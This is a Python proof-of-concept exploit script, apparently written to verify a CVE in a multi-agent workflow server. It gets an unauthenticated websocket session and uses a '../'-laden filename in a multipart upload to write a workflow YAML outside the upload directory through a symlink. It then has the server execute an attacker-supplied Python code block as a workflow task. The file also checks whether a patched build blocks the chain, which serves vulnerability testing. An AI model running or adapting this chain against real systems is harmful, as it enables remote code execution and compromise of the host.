import asyncio
import http.client
import json
import os
import pathlib
import sys
import textwrap
import urllib.parse

import websockets


def multipart_body(filename: str, data: bytes, boundary: str):
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="{filename}"\r\n'
        f"Content-Type: application/x-yaml\r\n\r\n"
    ).encode() + data + f"\r\n--{boundary}--\r\n".encode()
    return body, {"Content-Type": f"multipart/form-data; boundary={boundary}"}


def post(port: int, path: str, body: bytes, headers: dict, timeout: int = 30):
    conn = http.client.HTTPConnection("127.0.0.1", port, timeout=timeout)
    conn.request("POST", path, body=body, headers=headers)
    resp = conn.getresponse()
    data = resp.read().decode(errors="replace")
    conn.close()
    parsed = None
    try:
        parsed = json.loads(data)
    except Exception:
        pass
    return resp.status, data, parsed


def malicious_workflow_yaml() -> str:
    # A single Python node is enough: the task_prompt itself becomes the node's
    # input, PythonNodeExecutor extracts the code block, and subprocess.run()
    # executes it inside the product workflow runtime.
    return """version: 0.0.0
vars: {}
graph:
  id: uploaded_rce_workflow
  description: Uploaded through CVE-2026-58166; executing it proves code execution.
  is_majority_voting: false
  start:
    - Exec
  nodes:
  - id: Exec
    type: python
    config:
      timeout_seconds: 10
"""


async def main():
    port = int(sys.argv[1])
    role = sys.argv[2]
    attempt = sys.argv[3]
    target_yaml = pathlib.Path(sys.argv[4])
    link_path = pathlib.Path(sys.argv[5])
    marker_path = pathlib.Path(sys.argv[6])
    out_path = pathlib.Path(sys.argv[7])

    for p in (target_yaml, link_path, marker_path):
        try:
            p.unlink()
        except FileNotFoundError:
            pass
    link_path.symlink_to(target_yaml)

    result = {
        "role": role,
        "attempt": int(attempt),
        "port": port,
        "target_yaml": str(target_yaml),
        "link_path": str(link_path),
        "marker_path": str(marker_path),
        "target_exists_before": target_yaml.exists(),
        "link_lexists_before": os.path.lexists(link_path),
    }

    async with websockets.connect(f"ws://127.0.0.1:{port}/ws") as ws:
        msg = json.loads(await ws.recv())
        session_id = msg["data"]["session_id"]
        result["session_minted_unauthenticated"] = True
        result["session_id"] = session_id
        result["ws_connection_message"] = msg

        traversal_filename = "../" * 16 + "tmp/" + link_path.name
        result["traversal_filename"] = traversal_filename
        boundary = "----chatdevrce"
        body, headers = multipart_body(traversal_filename, malicious_workflow_yaml().encode(), boundary)

        loop = asyncio.get_running_loop()
        upload_status, upload_raw, upload_json = await loop.run_in_executor(
            None,
            lambda: post(port, f"/api/uploads/{session_id}", body, headers, 30),
        )
        result["upload_status"] = upload_status
        result["upload_response_raw"] = upload_raw
        result["upload_response_json"] = upload_json
        result["upload_response_name"] = upload_json.get("name") if isinstance(upload_json, dict) else None

    result["target_exists_after_upload"] = target_yaml.exists()
    result["link_lexists_after_upload"] = os.path.lexists(link_path)
    result["target_yaml_content"] = target_yaml.read_text(errors="replace") if target_yaml.exists() else None

    attacker_code = f"""```python
import pathlib
pathlib.Path({str(marker_path)!r}).write_text('RCE_OK_FROM_CHATDEV_WORKFLOW role={role} attempt={attempt}\\n')
print('RCE_MARKER_WRITTEN role={role} attempt={attempt}')
```"""
    run_payload = json.dumps({
        "yaml_file": str(target_yaml),
        "task_prompt": attacker_code,
        "session_name": f"rce_{role}_{attempt}",
        "log_level": "DEBUG",
    }).encode()
    run_status, run_raw, run_json = post(
        port,
        "/api/workflow/run",
        run_payload,
        {"Content-Type": "application/json"},
        60,
    )
    result["workflow_run_status"] = run_status
    result["workflow_run_response_raw"] = run_raw
    result["workflow_run_response_json"] = run_json
    result["marker_exists_after_run"] = marker_path.exists()
    result["marker_content"] = marker_path.read_text(errors="replace") if marker_path.exists() else None

    result["filename_unsanitized_in_response"] = bool(result.get("upload_response_name") and ".." in result["upload_response_name"])
    result["filename_sanitized_in_response"] = bool(result.get("upload_response_name") and ".." not in result["upload_response_name"])
    result["upload_wrote_persistent_yaml"] = bool(result["target_exists_after_upload"] and not result["link_lexists_after_upload"])
    result["code_execution_observed"] = bool(
        run_status == 200
        and result["marker_exists_after_run"]
        and result["marker_content"]
        and "RCE_OK_FROM_CHATDEV_WORKFLOW" in result["marker_content"]
    )
    result["fixed_blocked_chain"] = bool(
        upload_status == 200
        and result["filename_sanitized_in_response"]
        and not result["target_exists_after_upload"]
        and result["link_lexists_after_upload"]
        and run_status in (404, 400, 500)
        and not result["marker_exists_after_run"]
    )

    out_path.write_text(json.dumps(result, indent=2), encoding="utf-8")
    print(json.dumps({
        "role": role,
        "attempt": int(attempt),
        "upload_status": upload_status,
        "upload_response_name": result.get("upload_response_name"),
        "upload_wrote_persistent_yaml": result["upload_wrote_persistent_yaml"],
        "workflow_run_status": run_status,
        "code_execution_observed": result["code_execution_observed"],
        "fixed_blocked_chain": result["fixed_blocked_chain"],
        "marker_content": result["marker_content"],
    }, indent=2))


if __name__ == "__main__":
    asyncio.run(main())